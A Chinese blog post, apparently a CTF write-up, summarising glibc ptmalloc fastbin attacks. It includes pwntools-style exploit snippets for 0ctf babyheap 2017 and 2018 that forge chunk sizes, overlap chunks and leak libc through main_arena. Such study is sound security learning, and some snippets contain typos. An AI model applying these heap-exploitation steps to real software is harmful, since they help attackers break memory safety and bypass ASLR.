CTF 用户态ptmalloc pwn总结(一)

原创

obfuscation123 于 2018-09-24 23:09:52 发布 702 收藏

文章标签： pwn ctf 用户态

本文链接：https://blog.csdn.net/weixin_41918450/article/details/82827949

CTF 用户态linux ptmalloc pwn总结

ctf中用户态的ptmalloc利用五花八门，也比较常见，在此想结合着具体的实例去分析讲解一下各类的pwn题目，题目并不会每个都仔细分析

准备分成两部分：第一部分漏洞点位置？如何利用漏洞去实现任意写？

第二部分：可以造成写之后，写哪里？如何实现getshell

以第一部分为主，第二部分只准备两篇文章，第一篇写常规的，第二篇单独介绍IO_FILE系统getshell，

第一部分的目录如下：

fastbin attack

unlink

largebin attack

house系列

fastbin attack

注：下文用到的alloc等函数是自己根据题目利用pwntools封装的函数，下面的show等也是，不再重复，这里的代码仅仅是为了举例方便，感兴趣的同学可以事后自己到github上搜索payload，在这里不贴了。

先讲一下fastbin的一些特性，可能会用到的：

1.fastbins不会触发unlink，即free掉fastbin，并不会修改与之相邻的chunk的preinuse位。

2.fastbins与smallbins的关系：fastbins 大小： smallbins大小： 两者之间有重合，但是申请和释放时，会先判定fastbins中有无满足的情况，才会找其他的。

3.fastbins单向链表，只有fd指针

4.fastbins consolidate：即当申请一块大内存：在申请一块大内存的时候，在搜索smallbins和largebins之前，首先会便利fastbins链表，将所有相邻fastbins合并，之后将合并后的放入unsorted bins链表。

fastbins的利用：

第一种最简单的，直接存在堆漏洞的无限溢出或者是off by one
举例：0ctf babyheap 2017 2018

0ctf连续两年的babyheap都是最简单的fastbins attack
2017即当出现了一个简单的溢出，可以改写下一个chunk的size位时：

1.申请两个fastbins

alloc(0x50)#0

alloc(0x40)#1

2.利用第一个fastbins chunk的溢出，改写第二个chunk size位，改为0x71

payload = 'a'*0x50+p64(0)+p64(0x71)

fill(0,payload)

3.改写了下一个chunk之后，再申请一块chunk时，就存在与#1之间的重合区域，可以改写1，这时将1free掉，进入small bins。smallbins第一个chunk的fd和bk都指向main_arena，此时，通过之前已经改写好的1，即可实现main_arena的地址泄漏，减去固定的偏移（自行调试获得）即可获得libc的基址，绕过来aslr。

alloc(0x100)#smallbins 2

payload1 = 'a'*0x10+p64(0)+p64(0x71)#为了防止在free(1)的时候崩掉，必须将1后面的一块chunk的size位设置为不为0

fill(2,payload1)

free(1)

alloc(0x60)#此时，会将刚才一块free掉的再申请出来，这个时候其size已经足够打印出下一位small bins的fd和bk

alloc(0x30)#随便申请一块chunk防止topchunk 的合并
free(2)

s = show(1)

main_arena = u64(s[-8:])

现在已经实现了libcleak，至于如何实现接下来的利用getshell，放在第二部分总结

第二个例子是0ctf2018 babyheap，相对于2017增加了对chunksize大小的控制，溢出也变成了offbyone
offbyone和offbynull在ctf题目中很常见，一般是在判断时多加了一个等于号，或者数组的下标忘记减一，就置零。

利用思路：先申请三块相连的fastbins，要是0x18这种大小，将presize也申请出来，才能覆盖chunksize。

alloc(0x18)#0

alloc(0x28)#1

alloc(0x58)#2

alloc(0x28)#3

alloc(0x38)#4

但这道题无法像2017的题目一样利用small bins去泄漏libc地址，因此需要更新将，size改为使chunk被释放后大于fast bins范围，先进入unsorted bins，利用其fd和bk指向main_arena，leak libc。
update(0,'a'*0x18+p64(0x61)

update(1,'a'*0x28+p64(0x61))

update(2,'a'*0x30+p64(0)+p64(0x21))

delete(1)

alloc(0x58)#1此时1 与 2 之间存在着重合部分，可以得到bk和fd

update(1,'a'*0x20+p64(0+p64(0x91)))#2之后0x91的位置刚好到了4，因此不需要额外伪造chunk绕过检查。

这个时候释放2

free(2)

2进入了unsorted bins，此时通过1可以查看main_arena，实现了libc的leak。
下一篇文章准备更新unlink，其与各种 bins attack结合密切